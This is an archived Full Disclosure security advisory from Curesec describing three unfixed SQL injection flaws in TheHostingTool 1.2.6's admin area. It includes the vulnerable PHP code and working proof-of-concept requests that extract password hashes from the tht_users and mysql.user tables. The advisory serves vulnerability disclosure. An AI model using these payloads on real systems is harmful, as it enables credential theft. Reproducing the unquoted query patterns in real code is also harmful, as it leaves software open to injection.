Full Disclosure mailing list archives

By Date By Thread TheHostingTool 1.2.6: Multiple SQL Injection From: "Curesec Research Team (CRT)" <crt () curesec com>

Date: Tue, 03 Nov 2015 12:01:04 +0100

Security Advisory - Curesec Research Team 1. Introduction Affected Product: TheHostingTool 1.2.6 Fixed in: not fixed Fixed Version Link: n/a Vendor Website: https://thehostingtool.com/ Vulnerability Type: SQL Injection Remote Exploitable: Yes Reported to vendor: 09/07/2015 Disclosed to public: 10/07/2015 Release mode: Full Disclosure CVE: n/a Credits Tim Coen of Curesec GmbH 2. Description There are three SQL Injections in the admin area of TheHostingTool 1.2.6. The problem is that the defense against SQL Injection depends in part on the global GET and POST variables being sanitized using mysql_real_escape_string if accessed via postvar or getvar. This makes them relatively safe to use in a query if the parameter is surrounded by quotes. But for places where the parameter is not surrounded by quotes, this will not prevent SQL injection. Please note that admin credentials are required for all SQL injections shown here. 3. Details SQL Injection 1 The POST value "type" is used as the column name in a WHERE clause when using the ajax search. Encoding single quotes does not prevent SQL injection in this case. It should also be noted that letting the user choose the column of a LIKE query on a user table is not a good idea in general, as it will be easy to iterate passwords this way. Proof of Concept: POST http://localhost/ecommerce/THTv1.2.6/includes/ajax.php?function=search type=user` %3D 1 union all select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from tht_users %23&value=test Code: includes/ajax.php public function search() { global $main, $db, $style; if($_SESSION['logged']) { //echo '<script type="text/javascript" src="'.URL.'includes/javascript/jquerytooltip.js">'; $type = $main->postvar['type']; $value = $main->postvar['value']; if($main->postvar['num']) { $show = $main->postvar['num']; } else { $show = 10; } if($main->postvar['page'] != 1) { $lower = $main->postvar['page'] * $show; $lower = $lower - $show; $upper = $lower + $show; } else { $lower = 0; $upper = $show; } $query = $db->query("SELECT * FROM `<PRE>users`, `<PRE>user_packs` WHERE `{$type}` LIKE '%{$value}%' AND <PRE>user_packs.userid = <PRE>users.id ORDER BY `{$type}` ASC LIMIT {$lower}, {$upper}"); SQL Injection 2 The POST value "order" is used in an update query of an ajax request. Single quotes are encoded, but the parameter is not surrounded by single quotes, thus making it unnecessary for an attacker to use single quotes, as they do not have to break out of the context of a string. Proof of Concept: POST http://localhost/ecommerce/THTv1.2.6/includes/ajax.php?function=navbar&action=order order=1-0 or extractvalue(1,concat(0x7e,(SELECT concat(password) FROM mysql.user limit 0,1))) Code: includes/ajax.php case "order": if(isset($P['order'])) { $ids = explode("-", $main->getvar['order']); $i = 0; foreach($ids as $id) { echo "updating: " . "UPDATE `navbar` SET `order` = {$i} WHERE `id` = {$id}"; $db->query("UPDATE ` navbar` SET `order` = {$i} WHERE `id` = {$id}"); $i++; } } break; SQL Injection 3 When updating the payment status of invoices, the "iid" GET parameter is put directly into multiple queries. Proof of Concept: http://ecommerce/THTv1.2.6/admin/?page=invoices&pay&iid=1' or extractvalue(1,concat(0x7e,(SELECT concat(password) FROM mysql.user limit 0,1))) %23 Code: includes/class_invoice.php public function set_paid($iid) { # Pay the invoice by giving invoice id global $db, $server; $query = $db->query("UPDATE `<PRE>invoices` SET `is_paid` = '1' WHERE `id` = '{$iid}'"); $query2 = $db->query("SELECT `uid` FROM `<PRE>invoices` WHERE `id` = '{$iid}' LIMIT 1"); $data2 = $db->fetch_array($query2); $query3 = $db->query("SELECT `id` FROM `<PRE>user_packs` WHERE `userid` = '{$data2['uid']}'"); $data3 = $db->fetch_array($query3); $server->unsuspend($data3['id']); return $query; } admin/pages/invoices.php $invoice->set_paid($_GET['iid']); 4. Solution This issue has not been fixed 5. Report Timeline 09/07/2015 Informed Vendor about Issue (no reply) 09/22/2015 Reminded Vendor of disclosure date (no reply) 10/07/2015 Disclosed to public Blog Reference: http://blog.curesec.com/article/blog/TheHostingTool-126-Multiple-SQL-Injection-77.html _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/ By Date By Thread Current thread: TheHostingTool 1.2.6: Multiple SQL Injection Curesec Research Team (CRT) (Nov 06)